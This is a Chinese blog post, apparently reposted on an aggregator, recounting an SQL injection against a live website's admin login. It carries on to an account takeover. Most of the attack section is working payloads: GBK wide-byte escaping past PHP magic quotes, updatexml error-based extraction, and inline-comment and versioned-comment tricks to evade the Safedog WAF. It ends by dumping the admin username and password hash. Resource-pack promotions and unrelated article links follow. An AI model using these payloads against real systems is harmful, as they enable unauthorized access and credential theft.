记一次艰难的SQL注入(过安全狗)

2024-05-30 04:44

本文主要是介绍记一次艰难的SQL注入(过安全狗),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.前言

最近在挖补天的src,然后挖出了不少SQL注入,完了出了数据库名就不管那么多提交了。今天挖了个报错注入的,突然一激灵,说我不能这样颓废下去了,刚好是个后台登录的界面,我决心要登进它的后台。

1643952172_61fcb82c03e0f6f343a5a.png!small

2.注入测试

bp抓包,加单引号,没有什么用。

1643952189_61fcb83d079a6018624f5.png!small

很显然,这里开启了php的魔术函数,把单引号自动转义了。

2.1.绕过第一式:汉字双字节编码绕过单引号

当开启了魔术函数过滤了引号时,可以在引号前加上一个汉字双字节编码,可以实现绕过。

例如构造Payload为:

username=%BF'

1

%BF解码之后是中文乱码

1643952215_61fcb857206cc71168d77.png!small

1643952224_61fcb86004e34229f57a5.png!small

可以看到SQL语句变成:

SELECT * FROM `sl_admin` WHERE `username`='¿'

成功过滤单引号。

程序报错,考虑使用爆错注入。

3.获取数据库

既然想进后台,就需要账号密码,就要注数据库,表名,列名,内容。

第一步是注出数据库,版本,用户等基本信息。

先把Payload放出来,再进行讲解。

Payload:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#

1643952331_61fcb8cb0c8d3a9da01b2.png!small

数据库名不能放出来,在本文中用test_db代替。

用这个Payload成功注出了数据库,因而版本信息,当前用户只是改一个值的事,在这里也放出来。

数据库:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
用户:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#
版本:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)#

3.1绕过第二式:注释

再第一个绕过那里,可以看到SQL语句后面还多了个单引号。这个单引号要么把它闭合,要么就注释掉。由于这里开启了魔术函数,所以选择注释。

我原本是想用 –+ 来注释的,但是网站用了安全狗,所以加号被干掉了,那就只能用 # 注释了。

注释成功,很简单,没什么好说的。

1643952365_61fcb8edf3438850f2d28.png!small

3.2 绕过第三式:内联注释绕过空格

安全狗把空格干掉了。

空格或者加号都会被干掉。

1643952383_61fcb8ffee755ddd89b95.png!small

当空格和加号都被干掉时,可以用内联注释 /**/ 代替实现绕过。

username=%BF/**/and/**/1'

1643952425_61fcb929d90789ea35a97.png!small

4.获取表名

再得到数据库后要获取表名。

先把Payload放出来。

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/gr

1643952454_61fcb946dabb47edb88cf.png!small

管理员表用admin代替,其他表用test_table代替。

4.1 绕过第四式:select过安全狗

注表名需要用select语句,因此我最开始写的Payload是这样的:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#

很快啊,被安全狗拦了。

1643952474_61fcb95a977e7f2fc4a2f.png!small

这种select的绕过是最麻烦的,我在尝试了URL编码绕过,混淆大小写绕过,脏数据绕过均告失败后,打开了万能的百度,看到了这篇文章。

https://www.cnblogs.com/w-i-n-d/p/8649590.html

在该文中,用 /*!50000%53elect*/ 代替select实现绕过

我尝试了一下,成功实现了绕过(见上图)

后来我测试了一下,其他关键词也可以用这种方法绕过

select
/*!50000%53elect*/
order /*!50000%53elect*/
union
/*!50000%75nion*/

5.获取列名

得到了表名和列名,接下来就是要获取列名。

先放Payload:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/7,1),0x7e),1)#

5.1绕过第五式:骚操作绕过魔术函数

按照正常的注入流程,写出来的Payload应该是这样的:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/and/**/table_name/**/like/**/'admin'),0x7e),1)#

问题在于,魔术函数干掉了我的单引号。

于是我就开始各种百度,Google,查找怎么绕过魔术函数。

Noway

就在陷入死胡同时,我灵机一动。

我在最开始学SQL注入的时候,看到information_schema数据库获取信息时,专门去看了这个数据库的结构,在columns这个表里有个字段叫 column_name ,是攻击者需要获取的信息,有个字段叫 table_schema ,对应的是该字段所在的数据库名,有个字段叫 table_name ,对应的是该字段所在的表名。

因此,当同时获取了数据库名和表名时,可以获取到对应表的所有列名。

但是在表数量少且无法利用表名时,可以只指定数据库名,然后利用 limit 语句获取当前数据库所有的字段,再通过经验判断表名。

例如,我想知道 数据库 testadmin表的内容。

select column_name from information_schema.columns where table_schema like 

1643952530_61fcb9922540c62054654.png!small

这时通过直觉可以判断出,admin表中的字段是 id username password。

同理,在该站点中,可以通过这种方法,获取字段。

当Payload指定为:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),0x7e),1)#

得到的字段数为:typeid。

1643952552_61fcb9a84ae9f39b4c2a8.png!small

通过修改limit后的值,就可以得到所有的字段,包括admin表中的字段。

经过测试,当值为 7,1时可以得到字段 username; 当值为 8,1时可以得到字段 password。

1643952568_61fcb9b81b157b49acca9.png!small

1643952582_61fcb9c60e6228b3b4dcd.png!small

6.爆帐密

得到了以上信息后,爆帐密就很简单了。

爆账号:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/username/**/from/**/sl_admin),0x7e),1)#
爆密码:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/sl_admin),0x7e),1)#
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,32,31)/**/from/**/sl_admin),0x7e),1)#

因为密码长度为32,而这里最多只能显示31为,因此用substr函数分两次爆出。

解密得到账号密码。

登录成功。

1643952603_61fcb9db2c992cc1561c0.png!small

总结

实战注入的难度比靶场大得多,各种绕过,各种骚操作。

要学会利用搜索工具,更要学会选择性放弃。

当一条路走不通就换另一种方法,也许就会柳暗花明又一村。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

这篇关于记一次艰难的SQL注入(过安全狗)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1015605

相关文章

MySQL中动态生成SQL语句去掉所有字段的空格的操作方法

《MySQL中动态生成SQL语句去掉所有字段的空格的操作方法》在数据库管理过程中,我们常常会遇到需要对表中字段进行清洗和整理的情况,本文将详细介绍如何在MySQL中动态生成SQL语句来去掉所有字段的空... 目录在mysql中动态生成SQL语句去掉所有字段的空格准备工作原理分析动态生成SQL语句在MySQL

MySQL中FIND_IN_SET函数与INSTR函数用法解析

《MySQL中FIND_IN_SET函数与INSTR函数用法解析》:本文主要介绍MySQL中FIND_IN_SET函数与INSTR函数用法解析,本文通过实例代码给大家介绍的非常详细,感兴趣的朋友一... 目录一、功能定义与语法1、FIND_IN_SET函数2、INSTR函数二、本质区别对比三、实际场景案例分

MySQL中的交叉连接、自然连接和内连接查询详解

《MySQL中的交叉连接、自然连接和内连接查询详解》:本文主要介绍MySQL中的交叉连接、自然连接和内连接查询,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、引入二、交php叉连接(cross join)三、自然连接(naturalandroid join)四

Mysql如何将数据按照年月分组的统计

《Mysql如何将数据按照年月分组的统计》:本文主要介绍Mysql如何将数据按照年月分组的统计方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录mysql将数据按照年月分组的统计要的效果方案总结Mysql将数据按照年月分组的统计要的效果方案① 使用 DA

Mysql表如何按照日期字段的年月分区

《Mysql表如何按照日期字段的年月分区》:本文主要介绍Mysql表如何按照日期字段的年月分区的实现方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、创键表时直接设置分区二、已有表分区1、分区的前置条件2、分区操作三、验证四、注意总结一、创键表时直接设置分区

mysql的基础语句和外键查询及其语句详解(推荐)

《mysql的基础语句和外键查询及其语句详解(推荐)》:本文主要介绍mysql的基础语句和外键查询及其语句详解(推荐),本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋... 目录一、mysql 基础语句1. 数据库操作 创建数据库2. 表操作 创建表3. CRUD 操作二、外键

MySQL更新某个字段拼接固定字符串的实现

《MySQL更新某个字段拼接固定字符串的实现》在MySQL中,我们经常需要对数据库中的某个字段进行更新操作,本文就来介绍一下MySQL更新某个字段拼接固定字符串的实现,感兴趣的可以了解一下... 目录1. 查看字段当前值2. 更新字段拼接固定字符串3. 验证更新结果mysql更新某个字段拼接固定字符串 -

python连接本地SQL server详细图文教程

《python连接本地SQLserver详细图文教程》在数据分析领域,经常需要从数据库中获取数据进行分析和处理,下面:本文主要介绍python连接本地SQLserver的相关资料,文中通过代码... 目录一.设置本地账号1.新建用户2.开启双重验证3,开启TCP/IP本地服务二js.python连接实例1.

Spring Boot项目中结合MyBatis实现MySQL的自动主从切换功能

《SpringBoot项目中结合MyBatis实现MySQL的自动主从切换功能》:本文主要介绍SpringBoot项目中结合MyBatis实现MySQL的自动主从切换功能,本文分步骤给大家介绍的... 目录原理解析1. mysql主从复制(Master-Slave Replication)2. 读写分离3.

Python从零打造高安全密码管理器

《Python从零打造高安全密码管理器》在数字化时代,每人平均需要管理近百个账号密码,本文将带大家深入剖析一个基于Python的高安全性密码管理器实现方案,感兴趣的小伙伴可以参考一下... 目录一、前言:为什么我们需要专属密码管理器二、系统架构设计2.1 安全加密体系2.2 密码强度策略三、核心功能实现详解